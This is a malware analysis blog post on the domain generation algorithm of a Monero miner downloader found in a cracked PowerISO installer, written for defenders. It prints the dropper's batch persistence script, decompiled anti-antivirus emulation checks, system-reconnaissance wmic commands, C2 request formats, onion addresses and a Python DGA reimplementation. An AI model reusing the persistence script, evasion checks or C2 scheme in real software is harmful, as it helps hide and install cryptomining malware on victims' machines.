The DGA of a Monero Miner Downloader
- January 23, 2020
- reverse engineering
- dga malware analysis monero
- no comments
- About the Downloader
- Step 1: Anti AV
- a - flsTest
- b - winApiTest
- c - timeDistortionTest
- d - systemProcessTest
- e - incrementTest
- f - memoryTest
- Step 2: Collect System Information
- Step 3: Downloading the Malware
- The DGA
- Python Reimplementation
- Characteristics
These are just unpolished notes. The content likely lacks clarity and structure; and the results might not be adequately verified and/or incomplete.
This blog posts deals with a domain generation algorithm (DGA) with exotic top levels like .tickets, .blackfriday or .feedback. Among others, Bert Hubert noticed the DGA domains and posted them on Twitter:
Paul Melson associated one of the domains with a Monero Miner:
I found this sample, which produces these domains
- MD5
- 39c8620827ab6005e57e9e9f172d47ff
- SHA1
- 239a7a6ea5155b1863815f595841d00cb0feec46
- SHA256
- e82c95edb680fd6a88b73eb8389759f03aebfcb70e081ecb259ea738e16f8cdd
- Size
- 7734 KB, 7919356 Bytes
The executable is a Nullsoft installer that drops three files:
PowerISO6-Full.exe
- This could be cracked version of PowerISO 6, with potentially additional malware. I didn’t analyse the file. (MD5:
31594d28c74f367073ba17acea9809f6
) svchostc.exe
- The actual malware that this post is about. (MD5:
1d47bd7706b2032aa41257c92cb0e3b1
) launcher.bat
- An install script to copy
svchostc.exe
to the local appdata and to create a scheduled task to run it on reboot (MD5:31c740ee5ebd975decd8345baa5ff4e6
).
The launcher.bat
copies the malware to the local AppData folder and creates a scheduled task to run the binary svchostc.exe
when the client starts (after a 10 minute delay):
@echo off
echo "PATCHING..."
set installpath=%~1
if not exist "%LOCALAPPDATA%\svchostc\" mkdir %LOCALAPPDATA%\svchostc\ >nul 2>&1
move "%installpath%\svchostc.exe" "%LOCALAPPDATA%\svchostc\svchostc.exe" >nul 2>&1
schtasks /create /tn svchostc /sc ONSTART /DELAY 0010:00 /RL HIGHEST →
/tr "%LOCALAPPDATA%\svchostc\svchostc.exe" /f >nul 2>&1
start "" "%LOCALAPPDATA%\svchostc\svchostc.exe"
(goto) 2>nul & del "%~f0"
You find the artifacts of an actual infection – including the svchostc.exe
– in this GitHub repository. None of the generated C2 DGA domains currently delivers any payload, but both the artifacts in the GitHub repository, as well as the tweet by Paul Melson, hint a dropped Monero miner.
About the Downloader
I did not find any public reports of the downloader svchostc.exe
(1d47bd7706b2032aa41257c92cb0e3b1
), and even though the sample is classified as malicious by many AV products, they only give it generic names. While trying to find other samples, I stumbled upon this executable:
- MD5
- a4c3e4634219a9be12aebaebd91c75fa
- SHA1
- 59ffcd2bc41206ec4e4d2609b818a8e8cc1ec677
- SHA256
- 2a821ee54d13c9d83909f1fadc283b9340e3f024cac36e97b29f88a94274788e
- Size
- 23213 KB, 23769216 Bytes
Many AV call this sample Riskware
or Not-a-virus
. The sample has very similar functionality, but differs in the C2 communication, most notably it does not have a DGA. I will still include it in the discussion of the malware.
Both samples are written in C++ and don’t have their debug information stripped (as DWARF
). I will therefore use the original names of the functions given by the malware authors.
Both samples perform four steps:
- Check for AV software and exit if one is detected.
- Collect system information.
- Contact C2 servers to download the actual malware.
- Make sure the downloaded malware is running, restarting it if necessary.
Step 1: Anti AV
Both samples use the same anti AV emulation checks, which they call avTests. All tests are taken from the paper “Bypass Antivirus Dynamic Analysis” by Emeric Nasi from August 2014. In total there are six tests a to f. If any test returns True, the malware sleeps 10 seconds and exits.
a - flsTest
This is the test Example 2: What the fuck are FLS?:
bool flsTest(void)
{
return FlsAlloc(0i64) != FLS_OUT_OF_INDEXES;
}
b - winApiTest
This is the test Example 1: What the fuck is NUMA?:
bool winApiTest(void)
{
HANDLE hProcess; // rax
hProcess = GetCurrentProcess();
return VirtualAllocExNuma(hProcess, 0i64, 1000ui64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, 0) != 0i64;
}
c - timeDistortionTest
This is the test Example 2: Time distortion:
_BOOL8 timeDistortionTest(void)
{
DWORD ticks_after; // [rsp+28h] [rbp-8h]
DWORD ticks_before; // [rsp+2Ch] [rbp-4h]
ticks_before = GetTickCount();
Sleep(1000u);
ticks_after = GetTickCount();
return ticks_before + 1000 <= ticks_after && ticks_before + 1500 >= ticks_after;
}
d - systemProcessTest
This is the test Example 1: Attempt to open a system process:
bool systemProcessTest(void)
{
return OpenProcess(PROCESS_ALL_ACCESS, 0, 4u) == 0i64;
}
e - incrementTest
This is the test Example 2: Hundred million increments:
bool incrementTest(void)
{
int i; // [rsp+8h] [rbp-8h]
int cpt; // [rsp+Ch] [rbp-4h]
cpt = 0;
for ( i = 0; i <= 99999999; ++i )
++cpt;
return cpt == 100000000;
}
f - memoryTest
This is the test Example 1: Allocate and fill 100M memory:
__int64 memoryTest(void)
{
void *Block; // [rsp+28h] [rbp-8h]
Block = malloc(100000000ui64);
if ( !Block )
return 0i64;
memset(Block, 0, 100000000ui64);
free(Block);
return 1i64;
}
Step 2: Collect System Information
The DGA sample only collects two pieces of information:
- The number of processors of the infected system (with
GetSystemInfo
). - The installed version of the Monero miner.
The version of the miner is saved as a filename in the directory CSIDL_LOCAL_APPDATA\svchostc
, for example in C:\Users\User\AppData\Local\svchostc
. The filename has the format wincache<nr>
, where <nr>
is the version number (as an integer). An example of such a file can be seen in the aforementioned GitHub repository with artifacts:
In this case the version number would be 15. The version number and the number of processors are then stored in a string ;v:<version>;c:<nrofprocessors>
, e.g., ;v:15;c:2
, which is then base64-encoded (e.g., O3Y6MTU7YzoyIC1uCg==
).
The Tor-based downloader generates a much more detailed system report, by running the following commands:
cmd.exe /c "(wmic computersystem get /format:list)
cmd.exe /c "(wmic cpu get /format:list)
cmd.exe /c "(wmic memorychip get /format:list)
cmd.exe /c "(wmic path Win32_VideoController get /format:list)
cmd.exe /c "(wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get /format:list)
cmd.exe /c "(wmic nicconfig get /format:list)
cmd.exe /c "(wmic os get /format:list)
cmd.exe /c "(wmic path Win32_SystemEnclosure get /format:list)
Step 3: Downloading the Malware
The Tor-based downloader comes with Tor version 0.3.3.7, which it installs to %LOCALAPPDATA%\Temp\
. It then tries to contact http://www.google.com
over Proxy 127.0.0.1:9050
to see if Tor is running. Otherwise it will try to reinstall the software until the connection to Google over Tor succeeds.
The malware then tries to download the payload from two domains on an alternating basis:
asxe4d2fmz7ji5ux.onion
dyvt2mleg33f6zdb.onion
The DGA based malware does not use Tor, and uses algorithmically generated domains, as described in Section DGA.
The next steps are almost identical for both variants. I’m only presenting the DGA-based version. First, the malware sends the system information to a file called hello.php
with a simple HTTP GET request:
GET /hello.php?info=O3Y6MDtjOjI= HTTP/1.1
Host: 31b4bd31fg1x2.org
Connection: close
The response either needs to have a Content-Length
HTTP-header, or it needs to set the length of the payload as the first line after optional http headers. The length is stored as text, an interpreted as base 16.
After that follows a 512 byte RSA signature, and then the signed content, which is just an integer version number stored as text:
<length>\r\n
<512 Bytes signature>
<version nr>
The signature is verified with the following RSA key:
30820120300D06092A864886F70D01010105000382010D003082010
80282010100B5E3FE072C644E09E276C48C43DF8944FB9DE98641F9
FA24785B1217581924299D5CBFF5FFA803A5A88F54142E9124E41BA
2E9AE6862D5542D7592846E853F5C04AEC33550CB8023CE9780E15B
4B6E1C92F61683E0D387A6DC610DEF52AEE75D99706EA7AF7D9C465
F97F14C9E2BA42BBE4735124AE08BA70962FA3DED1EDC5571644B0F
6659671AED866164255D229946002D4A7C1D5B360410132EB5801AB
985506316708170D749362E4B0E8B825EF358A2FA87601DE49E27E8
9F728E09D6FEAC1005F69BCDE8E63BEC25B3ED1664B29480501FAD3
E9F3D043894A1D4751FFD4ACE00E403D5D1911C98CAFC54074CA04D
126AEE24A4173625D57D3DD44E2F020111
If the signature of the version number is OK, and the version is greater than an already installed miner, then a second HTTP request is made:
GET /binary HTTP/1.1
Host: 31b4bd31fg1x2.org
Connection: close
The response has the same format as before, but instead of the version number, an unencrypted archive is delivered with the malware.
The DGA
The DGA-based malware is very noisy. It generates an infinte number of domains until it gets a valid signed payload:
The downloader has five top level domains:
.org
.tickets
.blackfriday
.hosting
.feedback
Each of the tld is passed to a separated thread that generates the second level domain and then performs the download operation discussed before.
The DGA generates up to 500 second level domains per day (i.e., 2500 different domains), going back in time if the number is exhausted. The first domain per day is special, as it is always using the hardcoded second level domain 31b4bd31fg1x2
. The remaining 499 domains are generated as follows:
- Determine the number of days since epoch (1.1.1970)
- Join a hardcoded magic string (
jkhhksugrhtijys78g46
), the number of days since epoch, and the current domain nr (1 to 499) with dashes “-”. For examplejkhhksugrhtijys78g46-18243-1
. - MD5-hash the string, e.g.,
00120343a5dc7d2e4e11938b0e1fed43
- Use the first 13 letters of the hash as the second level domain, and add the top level domain for the thread, e.g.,
00120343a5dc7.org
The following reimplementation in Python illustrates the domain generating procedure.
Python Reimplementation
from datetime import datetime
import hashlib
import argparse
tlds = [
".org",
".tickets",
".blackfriday",
".hosting",
".feedback",
]
magic = "jkhhksugrhtijys78g46"
special = "31b4bd31fg1x2"
def dga(date, back=0):
epoch = datetime(1970, 1, 1)
days_since_epoch = (date - epoch).days
days = days_since_epoch
for j in range(back+1):
for nr in range(500):
for tld in tlds:
seed = "{}-{}-{}".format(magic, days, nr)
m = hashlib.md5(seed.encode('ascii')).hexdigest()
mc = m[:13]
if nr == 0:
sld = special
else:
sld = mc
domain = "{}{}".format(sld, tld)
yield domain
days -= 1
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--date", help="date when domains are generated")
args = parser.parse_args()
if args.date:
d = datetime.strptime(args.date, "%Y-%m-%d")
else:
d = datetime.now()
for domain in dga(d):
print(domain)
For example, the domains shown in the screenshot of the Tweets are from April 10th, 2018, and can be generated as follows:
python3 dga.py --date 2018-04-10
Characteristics
The DGA has these properties:
- type
- TDD (time-dependent deterministic)
- generation scheme
- MD5 hashing
- seed
- current date and magic string
- domain change frequency
- 1 day
- domains per day
- 499 (+1 hardcoded)
- sequence
- each tld runs in separate thread, within which the domains are generated sequentially
- wait time between domains
- none
- top level domains:
- .org, .tickets, .blackfriday, .hosting, .feedback
- second level characters
- a-z0-f
- second level domain length
- 13